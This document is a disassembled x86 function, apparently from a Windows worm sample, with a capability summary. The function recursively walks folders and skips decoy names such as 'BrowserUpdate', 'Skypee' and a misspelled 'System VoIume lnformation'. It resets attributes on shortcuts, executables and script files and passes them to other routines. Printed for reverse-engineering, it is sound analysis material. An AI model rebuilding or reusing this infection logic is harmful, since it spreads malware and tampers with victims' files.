Function at 0x407210
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1268
call fcn.0042a310
mov eax, dword [0x465074]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x1258], 0
mov dword [ebp - 0x1260], 1
mov ax, word [0x4510cc]
mov word [ebp - 0x1004], ax
push 0xffe
push 0
lea ecx, [ebp - 0x1002]
push ecx
call fcn.0042d590
add esp, 0xc
cmp dword [ebp + 0x10], 1
jne 0x40728d
mov edx, dword [ebp + 8]
push edx
push 0x45113c
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x5a
push 0x3b9ac9ff
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x4072a6
mov ecx, dword [ebp + 8]
push ecx
push 0x452394
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x1254]
push eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x1258], eax
cmp dword [ebp - 0x1258], 0xffffffff
jne 0x4072d0
xor eax, eax
jmp 0x407859
push 0x45118c
lea edx, [ebp - 0x1228]
push edx
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x407822
push 0x45252c
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x407822
cmp dword [ebp + 0x10], 1
jne 0x407330
lea ecx, [ebp - 0x1228]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x4511d4
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x407350
lea ecx, [ebp - 0x1228]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x451224
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 0x1254]
and ecx, 0x10
je 0x407500
push 0x451294
lea edx, [ebp - 0x1228]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x407453
push str.syswin
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x407453
push 5
push str.boots
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407453
push 6
push str.Skypee
lea edx, [ebp - 0x1228]
push edx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407453
push 0xb
push str.autorun.inf
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407453
push 0xb
push str.Recycle_Bin
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407453
push 0xc
push str.RECYCLER.BIN
lea edx, [ebp - 0x1228]
push edx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407453
push 0xd
push str.BrowserUpdate
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407453
push 0x19
push str.System_VoIume_lnformation
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fba0
add esp, 0xc
test eax, eax
jne 0x407467
lea edx, [ebp - 0x1004]
push edx
call fcn.00408d60
add esp, 4
jmp 0x4074fb
push str.System_Volume_Information
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x4074fb
push str._RECYCLE.BIN
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x4074fb
cmp dword [ebp + 0xc], 1
jne 0x4074e6
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 2
and esi, eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 0x81
and esi, eax
and esi, 0xffe0fe00
push esi
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1004]
push ecx
call fcn.00407210
add esp, 0xc
jmp 0x407822
push str..lnk
lea edx, [ebp - 0x1228]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x407579
cmp dword [ebp + 0xc], 0
je 0x407579
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 2
and esi, eax
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 0x81
and esi, eax
and esi, 0xffe0fe00
push esi
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1004]
push ecx
call fcn.004088e0
add esp, 4
jmp 0x407822
cmp dword [ebp + 0xc], 1
jne 0x4075c8
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 2
and esi, eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 0x81
and esi, eax
and esi, 0xffe0fe00
push esi
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str..exe
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x4076e4
lea ecx, [ebp - 0x1004]
push ecx
call fcn.00409ae0
add esp, 4
cmp eax, 1
jne 0x407653
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 2
and esi, eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 0x81
and esi, eax
and esi, 0xffe0fe00
push esi
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x1004]
push eax
call fcn.004088e0
add esp, 4
jmp 0x4076df
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1264], esp
lea edx, [ebp - 0x1004]
push edx
call fcn.00403550
mov dword [ebp - 0x1268], eax
call fcn.0041e020
add esp, 0x18
mov dword [ebp - 0x125c], eax
cmp dword [ebp - 0x125c], 1
jne 0x4076df
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 2
and esi, eax
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 0x81
and esi, eax
and esi, 0xffe0fe00
push esi
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1004]
push ecx
call fcn.004088e0
add esp, 4
jmp 0x407822
push str..bat
lea edx, [ebp - 0x1228]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4077b6
push str..com
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4077b6
push str..cmd
lea ecx, [ebp - 0x1228]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4077b6
push str..inf
lea edx, [ebp - 0x1228]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4077b6
push str..wsf
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4077b6
push str..vbs
lea ecx, [ebp - 0x1228]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4077b6
push str..pif
lea edx, [ebp - 0x1228]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4077b6
push str..js
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4077b6
push str..ws
lea ecx, [ebp - 0x1228]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x407822
lea edx, [ebp - 0x1004]
push edx
call fcn.00409ae0
add esp, 4
cmp eax, 1
jne 0x407822
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 2
and esi, eax
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 0x81
and esi, eax
and esi, 0xffe0fe00
push esi
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1004]
push ecx
call fcn.004088e0
add esp, 4
lea edx, [ebp - 0x1254]
push edx
mov eax, dword [ebp - 0x1258]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x407847
cmp dword [0x465f70], 0
je 0x4072d0
mov ecx, dword [ebp - 0x1258]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a2fe
mov esp, ebp
pop ebp
ret